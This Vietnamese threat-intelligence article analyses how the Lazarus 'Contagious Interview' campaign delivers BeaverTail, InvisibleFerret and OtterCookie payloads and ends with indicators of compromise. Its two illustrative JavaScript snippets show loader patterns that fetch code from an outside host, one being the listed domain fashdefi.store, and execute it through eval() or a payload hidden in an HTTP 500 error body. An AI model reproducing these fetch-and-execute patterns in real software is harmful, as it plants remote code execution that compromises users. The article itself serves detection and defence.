Chiến dịch Contagious Interview do nhóm Lazarus thực hiện tiếp tục phát triển năng lực của mình. Chúng tôi đã ghi nhận sự tiến hóa vượt bậc trong các cơ chế phân phối tải trọng chính của chiến dịch, bao gồm BeaverTail, InvisibleFerret và OtterCookie. Những cải tiến này minh họa một mối đe dọa mạng đang tiến hóa, đòi hỏi các cơ chế phòng thủ phải liên tục thích ứng.
Bài viết này phân tích các đổi mới liên quan đến kỹ thuật phân phối mã độc được nhóm sử dụng. Đồng thời, chúng tôi sẽ chứng minh sự duy trì phương thức hoạt động (modus operandi) của nhóm thông qua sự phát triển của mã nguồn. Để đạt được điều này, chúng tôi đã phân tích ba dự án mã độc riêng biệt, đang hoạt động tích cực trong các chiến dịch gần đây.
Sự Phát Triển Các Kỹ Thuật Tấn Công Mạng của Nhóm Lazarus
Kỹ Thuật Phân Phối Tải Trọng Động
Trong một dự án, các nhà phát triển của nhóm Lazarus đã tạo và triển khai một đoạn mã. Đoạn mã này thực hiện yêu cầu POST tới địa chỉ bên ngoài có tên fashdefi[.]store sử dụng cổng 6168.
Sau khi thực hiện yêu cầu, luồng mã sẽ bắt giữ phản hồi của yêu cầu. Nội dung phản hồi được lưu trữ trong đối tượng token và sau đó được thực thi bằng hàm eval().
Cách tiếp cận này, được đặt trong khối catch, giúp tải trọng chính (trong trường hợp này là InvisibleFerret) không cần phải được viết trực tiếp vào mã nguồn chính của dự án. Điều này khác biệt so với các dự án trước đó, cho phép chúng qua mặt các cơ chế phát hiện phụ thuộc vào việc quét trực tiếp mã nguồn chính.
Phức Tạp Hóa Phân Tích Mã và Sử Dụng C2 Hợp Pháp
Trong một dự án khác, nhóm Lazarus đã triển khai các chiến lược mới để gây khó khăn cho các công cụ tự động phân tích và phát hiện mã độc. Các nhà phát triển đã chia toàn bộ URL thành nhiều phần bên trong mã nguồn.
Kẻ tấn công đã sử dụng dịch vụ lưu trữ hợp pháp của nền tảng Vercel.App làm máy chủ Command and Control (C2). Mục đích là để phân phối favicon của dự án mã độc.
Hai hằng số được phát triển để thêm nhiều lớp vào luồng mã. Khi hàm req, được lưu trữ trong một hằng số khác có tên doing, được gọi để thực hiện yêu cầu, khả năng né tránh các công cụ phân tích tĩnh phụ thuộc vào khớp mẫu và một số môi trường sandbox không phân tích mã trong thời gian chạy (runtime) sẽ cao hơn.
Theo luồng xây dựng mã, hằng số doing khi được gọi sẽ thực hiện toàn bộ thao tác yêu cầu. Cuối cùng, trong khối try/catch, nó sử dụng hàm eval() để nhận mã độc:
// Example of a conceptual representation of the malicious code structure
try {
// ... request logic ...
const response = await axios.post('http://fashdefi.store:6168', data);
const token = response.data;
eval(token);
} catch (error) {
// This catch block might contain the evasive logic or the eval call
// as described in the first technique.
}
Sử dụng một nền tảng sandbox, chúng tôi đã xác minh nội dung được phân phối khi bỏ qua bearrtoken: logo từ yêu cầu. Điều này xác nhận rằng một favicon thực sự được phục vụ cho dự án mã độc.
Dựa trên thông tin này, chúng tôi đã xoay trục sử dụng favicon và xác định việc tái sử dụng hình ảnh này trên nhiều dự án trước đó. Các dự án này được gán cho nhóm Bắc Triều Tiên và chiến dịch Contagious Interview.
Đổi Mới Cơ Chế Phân Phối với Kỹ Thuật Né Tránh Nâng Cao
Kỹ thuật thứ ba mà chúng tôi quan sát được chứng minh một quá trình đổi mới liên tục dựa trên các yếu tố có trong các dự án trước. Trong cách tiếp cận này, nhóm đã sử dụng một thiết kế chính xác hơn nhiều. Tỷ lệ phát hiện thấp cho đến thời điểm bài viết này được công bố.
Nhóm vẫn duy trì chiến thuật chia địa chỉ giao tiếp để phân phối tải trọng, cho phép nối chuỗi URL sau đó (Cơ chế phân phối 2). Họ cũng sử dụng thư viện axios để thực hiện yêu cầu (Cơ chế phân phối 1), sửa đổi nó sang phương thức GET.
Như chúng ta đã thấy trong các dự án khác, có thể dự kiến việc sử dụng hàm eval() ở đâu đó trong mã để nhận và thực thi tải trọng tấn công chính. Tuy nhiên, trong dự án này, nhóm đã triển khai một cách tiếp cận khá độc đáo.
Các nhà phát triển đã khéo léo thay thế việc sử dụng hàm eval() bằng một khối mã được lập trình để trả về lỗi 500 từ giao tiếp API. Sau đó, nó nhận mã độc trong khối Try/Catch, sử dụng hàm errorHandler().
// Conceptual representation of the eval() replacement technique
try {
// Make GET request using axios, expecting a 500 error for malicious content
const response = await axios.get('http://malicious.c2/payload', { validateStatus: status => status === 500 });
if (response.status === 500) {
errorHandler(response.data); // errorHandler processes the malicious content from the 500 error body
}
} catch (error) {
// Standard error handling, perhaps not containing the malicious logic itself
console.error('Request failed:', error);
}
// Conceptual errorHandler function
function errorHandler(maliciousCode) {
// Logic to parse and execute the maliciousCode, replacing eval()
// This could involve custom parsers, reflective loading, etc.
console.log('Executing malicious code via custom handler.');
// ... actual execution of maliciousCode ...
}
Chỉ Số Lây Nhiễm (IOCs) và Đối Tượng Nghi Ngờ
Các chỉ số lây nhiễm (IOCs) được xác định trong phân tích này bao gồm:
- Tên mã độc/Tải trọng:
- BeaverTail
- InvisibleFerret
- OtterCookie (Chi tiết về mã độc OtterCookie)
- Tên miền độc hại:
fashdefi[.]store
- Nền tảng C2 hợp pháp bị lạm dụng:
- Vercel.App
Thách Thức Trong Phát Hiện Tấn Công và Xu Hướng Tương Lai
Tất cả những đổi mới được triển khai nêu bật trọng tâm cải tiến của nhóm Lazarus. Logic trong việc xây dựng các đoạn mã để phân phối tải trọng vẫn giữ nguyên, nhưng cách thực hiện đã trở nên tinh vi hơn để né tránh các biện pháp phòng thủ truyền thống.
Sự gia tăng đổi mới trong một khoảng thời gian ngắn, một số lỗi cú pháp hiện diện trong mã, và việc thiếu sót trong kiểm tra các lỗi này cho thấy việc sử dụng liên tục các công nghệ trí tuệ nhân tạo (AI) để tự động hóa việc tạo mã. Điều này làm tăng mối lo ngại đáng kể cho các cơ chế phòng thủ chỉ dựa vào phát hiện mã trực tiếp và khớp mẫu.
Do đó, chúng ta có thể khẳng định với độ tin cậy cao rằng trong những tháng tới, sẽ có những cách tiếp cận mới được phát triển để giảm thiểu hơn nữa dấu vết để lại trong mã dự án. Sẽ có một sự tập trung mạnh mẽ vào việc cải tiến liên tục trong giai đoạn phân phối của chiến dịch, đòi hỏi sự mạnh mẽ hơn trong các quy tắc **phát hiện tấn công** đã được phát triển trước đây. Các kỹ thuật tấn công mạng của nhóm Lazarus sẽ tiếp tục phát triển nhanh chóng.










